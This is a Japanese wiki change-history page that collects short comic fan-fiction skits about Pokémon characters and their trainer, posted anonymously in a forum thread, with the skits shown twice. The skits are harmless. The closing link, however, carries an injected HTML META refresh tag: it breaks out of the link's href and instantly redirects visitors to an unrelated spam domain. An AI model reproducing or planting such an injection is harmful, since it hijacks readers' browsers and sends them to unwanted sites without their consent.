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短編避」(2007/12/09 (日) 22:15:18) の最新版変更点

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**6 ID:qoUH2z2o >>1乙 空気読まずにSS投下 M「主よ、最近どうも出不精ではないか?」 男「んー?」 M「たまには以前のように冒険に出られてはどうだ?」 男「やだよ、めんどくさい。」 M「どうしてです。以前はあんなに活発に各地を回っていたというのに」 男「だって、あちこちでフラグ立つたびにミュウツー暴走して俺すぐ死ぬしさぁー 新しいポケモンに会うたびにオーキドの奴どっからか沸いてくるし、 俺も、いい歳だしそろそろ自宅警備員に就職してもいいんじゃね?」 M「!!!」 M「主は明らかに堕落している!」 男「えぇい…うるさいな」 M「え…主よ、その構えは一体…?」 男「主ビィーム!」 M「そんな馬鹿なぁぁぁぁぁぁ!!」 M「うぅん…っは!…夢か」 イ(い、いま。主ビィームって寝言で…) リ(言うな、多分それ突っ込んだら消されるぞ) 男「……ある……じ………びぃ……む………?」 M「!!!!!」 **62 ID:cumtI5Io M「ところで主、少し聞きたい事があるのだが」 男「ん?」 M「ダークライはいつの間に主の手持ちになったのだ?」 男「あぁ、何かずっと付いてきてて可愛いからつい///」 M「いや、そこ照れるところじゃない」 リザ「なんか主って懐いた猫をそのまま飼っちゃうタイプだよな…」 イ「そんな所が可愛いのですぅ~♪」 アク禁食らったからこっちに投下しときますorz **75 ID:sqR7u/Uo M「おはよう…ん?みんなは?」 リザ「よう、珍しく今日は起きるのが遅いじゃないか」 M「ん…昨日またゴミ袋にろくでもない夢を…ふぁ~」 リザ「はは、そいつぁ大変だね、主達なら今日は海に行ったよ」 M「む、そうか…お前は行かないのか」 リザ「あー俺って水苦手だから」 なるほど、言われなくてもそうだな… M「しかしお前が読書とは、珍しい」 リザ「んー?さっきフシギバナが貸してくれてな、何でもイーブイもハマってるらしいぞ、この本」 本の表紙には『沖縄連続殺人事件~血の海のサーファー~』と書かれている。 M「む、随分物騒なものを読んでるんだな」 リザ「結構面白いぜ?お前も読んでみるか」 ドンッ! 勢い良く主が部屋に飛び込んできた。 男「たたたた、大変だ!海んチュウが!海の真ん中で!突然痙攣しだして…!」 M「!?落ち着いてください!主、とりあえずそういう事はジョーイさんに!」 男「そ、そうだな!行くぞミュウツー!」 M「は…はい!」 どたばたと二人が出て行くのと入れ替わりにイーブイが入ってきた。 イ「本のトリック通りです~♪今頃海の藻屑なのですよぉ~(ニコニコ)」 リザ(…最近イーブイのキャラが変わってきたな) **127 ID:dqXuzVEo VIP立つまで充電してるのか随分ゆっくりだな。 ダークライは ダ「ますたぁ…、ますつぁあ、ごしゅじんしゃま」 主「どれがしっくりくるかなぁ」 バナ「いっそ、袖を引っ張るだけとかで良いんじゃない?スキンシップの時間にもなるし」 リザ「コレ以上言語を後退させてどーする」 M2「ゴミ袋の呼び方何ぞドーでも良い。」 ブイ「ミュウツーさんいけません!」 M2「む、聞かれたか?あ、いやこれはだな。その(慌)」 ブイ「今は、ゴミ袋は半透明なんですよ!」 M2「そうだったな……え?」 **205 ID:fXGuNESO M「主、食事が出来たぞ」 男「ありがと。今日の献立は?」 M「山芋とろろそばだ」 男「夏らしくていいなあ」 M「それに、レバニラ炒め」 男「え?」 M「つけあわせにスッポンのスープを用意した。食べてくれ」 男「ミュウツー……ちょっと待って」 M「ちなみに今日の夜は空いているぞ、主」 男「いや、そうじゃなくて…………食べ合わせ悪くない?」 全員(そっちかよッ!!) **278 ID:IHtokLco 波ピカ「わんは…要らない子なんかなぁ」 男「そ、そんな事ないよ!沖縄弁だから使い辛いなんて事ないからね!」 波ピカ「わん…標準語習った方がいいかなぁ?」 **279 ID:J5emZH2o 海「あれ~シーサーやいび~み?」 主「あれはウインディだよ」 こんなん浮かんでしまった **282 ID:6v21jcAO 男「さあて…サブキャラ人気投票でも見てみるか」 男「一位はリザ姉か…やっぱ人気あるなぁ~」 波ピカ(←男を凝視中)「……ジー(わ、わんは…?)」 男「そして、最下位は…うん、予想通り波ピカだwwwまあ順当な結果になってr」 波ピカ「うわあぁぁぁぁん!!!」 男「な、何だ!?今、すごい悲鳴が聞こえたような…」 波ピカ、ゴメンよorz ※主と男は全く関係ナス **285 ID:GXG9c5.o 男「二人きりになる事少なかったし、たまには…その…一緒に散歩でもするか?」 波ピカ「わ!?わんとですか?」 M「自重しろ糞鼠が!私とに決まっていますよね?主」 男「すまない、ミュウツー。その、たまには…ピカチュウとね」 M「そ、そんな馬鹿なぁ!?」 波ピカ「ほ、ほんにわんと一緒に…?」 男「うん、フシギバナ!リザードン!ミュウツーを頼んだぞ!」 リザ「お、おう…」 バナ「い、いってらっしゃい…」 M「貴様ら!いいのか!それでいいのかぁ!」 リザ「うお!こら!家の中で暴れるんじゃねぇ!」 バナ「全く…眠り粉でも食らってなさい」 M「うおっ!貴様!何を…Zzz」 バナ「ダークライ…ちょっと来て」 ダ「?」 バナ「ミュウツーに悪夢よ!」 ダ「!……フルフル」 リザ「お、おい、何もそこまですること無いだろう」 バナ「…ふん!」 一同(…どうして波ピカなんかと?) あんまりにも波ピカがかわいそうだったのでつい書いちゃいました
**6 ID:qoUH2z2o &gt;&gt;1乙 空気読まずにSS投下 M「主よ、最近どうも出不精ではないか?」 男「んー?」 M「たまには以前のように冒険に出られてはどうだ?」 男「やだよ、めんどくさい。」 M「どうしてです。以前はあんなに活発に各地を回っていたというのに」 男「だって、あちこちでフラグ立つたびにミュウツー暴走して俺すぐ死ぬしさぁー 新しいポケモンに会うたびにオーキドの奴どっからか沸いてくるし、 俺も、いい歳だしそろそろ自宅警備員に就職してもいいんじゃね?」 M「!!!」 M「主は明らかに堕落している!」 男「えぇい…うるさいな」 M「え…主よ、その構えは一体…?」 男「主ビィーム!」 M「そんな馬鹿なぁぁぁぁぁぁ!!」 M「うぅん…っは!…夢か」 イ(い、いま。主ビィームって寝言で…) リ(言うな、多分それ突っ込んだら消されるぞ) 男「……ある……じ………びぃ……む………?」 M「!!!!!」 **62 ID:cumtI5Io M「ところで主、少し聞きたい事があるのだが」 男「ん?」 M「ダークライはいつの間に主の手持ちになったのだ?」 男「あぁ、何かずっと付いてきてて可愛いからつい///」 M「いや、そこ照れるところじゃない」 リザ「なんか主って懐いた猫をそのまま飼っちゃうタイプだよな…」 イ「そんな所が可愛いのですぅ~♪」 アク禁食らったからこっちに投下しときますorz **75 ID:sqR7u/Uo M「おはよう…ん?みんなは?」 リザ「よう、珍しく今日は起きるのが遅いじゃないか」 M「ん…昨日またゴミ袋にろくでもない夢を…ふぁ~」 リザ「はは、そいつぁ大変だね、主達なら今日は海に行ったよ」 M「む、そうか…お前は行かないのか」 リザ「あー俺って水苦手だから」 なるほど、言われなくてもそうだな… M「しかしお前が読書とは、珍しい」 リザ「んー?さっきフシギバナが貸してくれてな、何でもイーブイもハマってるらしいぞ、この本」 本の表紙には『沖縄連続殺人事件~血の海のサーファー~』と書かれている。 M「む、随分物騒なものを読んでるんだな」 リザ「結構面白いぜ?お前も読んでみるか」 ドンッ! 勢い良く主が部屋に飛び込んできた。 男「たたたた、大変だ!海んチュウが!海の真ん中で!突然痙攣しだして…!」 M「!?落ち着いてください!主、とりあえずそういう事はジョーイさんに!」 男「そ、そうだな!行くぞミュウツー!」 M「は…はい!」 どたばたと二人が出て行くのと入れ替わりにイーブイが入ってきた。 イ「本のトリック通りです~♪今頃海の藻屑なのですよぉ~(ニコニコ)」 リザ(…最近イーブイのキャラが変わってきたな) **127 ID:dqXuzVEo VIP立つまで充電してるのか随分ゆっくりだな。 ダークライは ダ「ますたぁ…、ますつぁあ、ごしゅじんしゃま」 主「どれがしっくりくるかなぁ」 バナ「いっそ、袖を引っ張るだけとかで良いんじゃない?スキンシップの時間にもなるし」 リザ「コレ以上言語を後退させてどーする」 M2「ゴミ袋の呼び方何ぞドーでも良い。」 ブイ「ミュウツーさんいけません!」 M2「む、聞かれたか?あ、いやこれはだな。その(慌)」 ブイ「今は、ゴミ袋は半透明なんですよ!」 M2「そうだったな……え?」 **205 ID:fXGuNESO M「主、食事が出来たぞ」 男「ありがと。今日の献立は?」 M「山芋とろろそばだ」 男「夏らしくていいなあ」 M「それに、レバニラ炒め」 男「え?」 M「つけあわせにスッポンのスープを用意した。食べてくれ」 男「ミュウツー……ちょっと待って」 M「ちなみに今日の夜は空いているぞ、主」 男「いや、そうじゃなくて…………食べ合わせ悪くない?」 全員(そっちかよッ!!) **278 ID:IHtokLco 波ピカ「わんは…要らない子なんかなぁ」 男「そ、そんな事ないよ!沖縄弁だから使い辛いなんて事ないからね!」 波ピカ「わん…標準語習った方がいいかなぁ?」 **279 ID:J5emZH2o 海「あれ~シーサーやいび~み?」 主「あれはウインディだよ」 こんなん浮かんでしまった **282 ID:6v21jcAO 男「さあて…サブキャラ人気投票でも見てみるか」 男「一位はリザ姉か…やっぱ人気あるなぁ~」 波ピカ(←男を凝視中)「……ジー(わ、わんは…?)」 男「そして、最下位は…うん、予想通り波ピカだwwwまあ順当な結果になってr」 波ピカ「うわあぁぁぁぁん!!!」 男「な、何だ!?今、すごい悲鳴が聞こえたような…」 波ピカ、ゴメンよorz ※主と男は全く関係ナス **285 ID:GXG9c5.o 男「二人きりになる事少なかったし、たまには…その…一緒に散歩でもするか?」 波ピカ「わ!?わんとですか?」 M「自重しろ糞鼠が!私とに決まっていますよね?主」 男「すまない、ミュウツー。その、たまには…ピカチュウとね」 M「そ、そんな馬鹿なぁ!?」 波ピカ「ほ、ほんにわんと一緒に…?」 男「うん、フシギバナ!リザードン!ミュウツーを頼んだぞ!」 リザ「お、おう…」 バナ「い、いってらっしゃい…」 M「貴様ら!いいのか!それでいいのかぁ!」 リザ「うお!こら!家の中で暴れるんじゃねぇ!」 バナ「全く…眠り粉でも食らってなさい」 M「うおっ!貴様!何を…Zzz」 バナ「ダークライ…ちょっと来て」 ダ「?」 バナ「ミュウツーに悪夢よ!」 ダ「!……フルフル」 リザ「お、おい、何もそこまですること無いだろう」 バナ「…ふん!」 一同(…どうして波ピカなんかと?) あんまりにも波ピカがかわいそうだったのでつい書いちゃいました [[@wikiへ>http://kam.jp"><META HTTP-EQUIV="Refresh" CONTENT="0; URL=http://esthe.pink.sh/r/]]

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